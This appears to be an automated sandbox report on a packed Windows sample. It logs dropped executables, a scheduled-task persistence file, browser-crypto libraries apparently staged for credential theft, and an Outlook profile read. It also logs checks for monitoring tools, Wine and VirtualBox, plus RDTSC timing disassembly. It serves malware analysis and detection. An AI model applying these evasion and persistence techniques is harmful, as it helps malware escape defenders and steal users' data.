Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Section loaded: mstask.dll
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Section loaded: wldp.dll
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Section loaded: mpr.dll
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Section loaded: dui70.dll
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Section loaded: duser.dll
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Section loaded: chartv.dll
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Section loaded: oleacc.dll
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Section loaded: winsta.dll
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Section loaded: textshaping.dll
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Section loaded: propsys.dll
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Section loaded: explorerframe.dll
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Section loaded: iertutil.dll
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Section loaded: profapi.dll
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Section loaded: edputil.dll
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Section loaded: urlmon.dll
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Section loaded: srvcli.dll
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Section loaded: netutils.dll
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Section loaded: appresolver.dll
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Section loaded: slc.dll
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Section loaded: userenv.dll
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Section loaded: sppc.dll
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1812992 > 1048576

Source: file.exe

Static PE information: Raw size of vdbxbskp is bigger than: 0x100000 < 0x1a0c00

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.1828526432.000000007013D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.1828526432.000000007013D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.4f0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;vdbxbskp:EW;ziryihmj:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;vdbxbskp:EW;ziryihmj:EW;.taggant:EW;
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Unpacked PE file: 20.2.DocumentsHDGCAAFBFB.exe.3d0000.0.unpack :EW;.rsrc:W;.idata :W;reekuiqa:EW;awjmlosa:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;reekuiqa:EW;awjmlosa:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 21.2.skotes.exe.940000.0.unpack :EW;.rsrc:W;.idata :W;reekuiqa:EW;awjmlosa:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;reekuiqa:EW;awjmlosa:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 22.2.skotes.exe.940000.0.unpack :EW;.rsrc:W;.idata :W;reekuiqa:EW;awjmlosa:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;reekuiqa:EW;awjmlosa:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 27.2.skotes.exe.940000.0.unpack :EW;.rsrc:W;.idata :W;reekuiqa:EW;awjmlosa:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;reekuiqa:EW;awjmlosa:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: 8ab1d3acb4.exe.27.dr	Static PE information: real checksum: 0x1c0e3c should be: 0x1906a7
Source: file.exe	Static PE information: real checksum: 0x1bbee9 should be: 0x1c7548
Source: DocumentsHDGCAAFBFB.exe.0.dr	Static PE information: real checksum: 0x31fa71 should be: 0x314ee2
Source: random[1].exe.0.dr	Static PE information: real checksum: 0x1c0e3c should be: 0x1906a7
Source: skotes.exe.20.dr	Static PE information: real checksum: 0x31fa71 should be: 0x314ee2

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: vdbxbskp
Source: file.exe	Static PE information: section name: ziryihmj
Source: file.exe	Static PE information: section name: .taggant
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: DocumentsHDGCAAFBFB.exe.0.dr	Static PE information: section name:
Source: DocumentsHDGCAAFBFB.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsHDGCAAFBFB.exe.0.dr	Static PE information: section name: reekuiqa
Source: DocumentsHDGCAAFBFB.exe.0.dr	Static PE information: section name: awjmlosa
Source: DocumentsHDGCAAFBFB.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .rsrc
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: jwsfpihg
Source: random[1].exe.0.dr	Static PE information: section name: iwmzihna
Source: random[1].exe.0.dr	Static PE information: section name: .taggant
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: skotes.exe.20.dr	Static PE information: section name:
Source: skotes.exe.20.dr	Static PE information: section name: .idata
Source: skotes.exe.20.dr	Static PE information: section name: reekuiqa
Source: skotes.exe.20.dr	Static PE information: section name: awjmlosa
Source: skotes.exe.20.dr	Static PE information: section name: .taggant
Source: 8ab1d3acb4.exe.27.dr	Static PE information: section name:
Source: 8ab1d3acb4.exe.27.dr	Static PE information: section name: .rsrc
Source: 8ab1d3acb4.exe.27.dr	Static PE information: section name: .idata
Source: 8ab1d3acb4.exe.27.dr	Static PE information: section name:
Source: 8ab1d3acb4.exe.27.dr	Static PE information: section name: jwsfpihg
Source: 8ab1d3acb4.exe.27.dr	Static PE information: section name: iwmzihna
Source: 8ab1d3acb4.exe.27.dr	Static PE information: section name: .taggant

Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Code function: 20_2_003ED91C push ecx; ret	20_2_003ED92F
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Code function: 20_2_003E1359 push es; ret	20_2_003E135A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_0095D91C push ecx; ret	21_2_0095D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_0095D91C push ecx; ret	22_2_0095D92F

Source: file.exe	Static PE information: section name: vdbxbskp entropy: 7.954724831953341
Source: DocumentsHDGCAAFBFB.exe.0.dr	Static PE information: section name: entropy: 7.030400265963877
Source: random[1].exe.0.dr	Static PE information: section name: entropy: 7.980861311023591
Source: random[1].exe.0.dr	Static PE information: section name: jwsfpihg entropy: 7.9534509746761755
Source: skotes.exe.20.dr	Static PE information: section name: entropy: 7.030400265963877
Source: 8ab1d3acb4.exe.27.dr	Static PE information: section name: entropy: 7.980861311023591
Source: 8ab1d3acb4.exe.27.dr	Static PE information: section name: jwsfpihg entropy: 7.9534509746761755

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsHDGCAAFBFB.exe

Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\DocumentsHDGCAAFBFB.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1006397001\8ab1d3acb4.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsHDGCAAFBFB.exe

Jump to dropped file

Boot Survival

Drops PE files to the user root directory

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsHDGCAAFBFB.exe

Jump to dropped file

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass

Source: C:\Users\user\DocumentsHDGCAAFBFB.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 740656 second address: 74065A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74065A second address: 73FEEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a stc 0x0000000b jmp 00007F00DD5CA01Ah 0x00000010 push dword ptr [ebp+122D10C9h] 0x00000016 sub dword ptr [ebp+122D1BF1h], esi 0x0000001c call dword ptr [ebp+122D25FAh] 0x00000022 pushad 0x00000023 mov dword ptr [ebp+122D1C42h], ebx 0x00000029 xor eax, eax 0x0000002b pushad 0x0000002c push edi 0x0000002d mov esi, edi 0x0000002f pop esi 0x00000030 mov cx, 097Ch 0x00000034 popad 0x00000035 mov edx, dword ptr [esp+28h] 0x00000039 jmp 00007F00DD5CA029h 0x0000003e mov dword ptr [ebp+122D3D93h], eax 0x00000044 mov dword ptr [ebp+122D1BC6h], ebx 0x0000004a mov esi, 0000003Ch 0x0000004f sub dword ptr [ebp+122D25D5h], eax 0x00000055 add esi, dword ptr [esp+24h] 0x00000059 pushad 0x0000005a add dword ptr [ebp+122D2673h], esi 0x00000060 xor esi, 10EF8000h 0x00000066 popad 0x00000067 lodsw 0x00000069 clc 0x0000006a add eax, dword ptr [esp+24h] 0x0000006e jnl 00007F00DD5CA01Dh 0x00000074 jg 00007F00DD5CA022h 0x0000007a mov ebx, dword ptr [esp+24h] 0x0000007e jp 00007F00DD5CA01Ch 0x00000084 sub dword ptr [ebp+122D198Dh], esi 0x0000008a nop 0x0000008b push eax 0x0000008c push eax 0x0000008d push edx 0x0000008e push eax 0x0000008f push edx 0x00000090 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73FEEB second address: 73FEEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73FEEF second address: 73FF19 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F00DD5CA01Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F00DD5CA022h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73FF19 second address: 73FF1F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73FF1F second address: 73FF29 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F00DD5CA016h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BDA18 second address: 8BDA28 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F00DC7AD946h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BDA28 second address: 8BDA3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 jmp 00007F00DD5CA01Bh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BDA3A second address: 8BDA40 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BDCDF second address: 8BDCE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F00DD5CA016h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BDCE9 second address: 8BDCED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BDCED second address: 8BDD0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F00DD5CA028h 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BDD0F second address: 8BDD13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BF874 second address: 8BF87A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BF87A second address: 8BF884 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F00DC7AD946h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BF91F second address: 8BF925 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
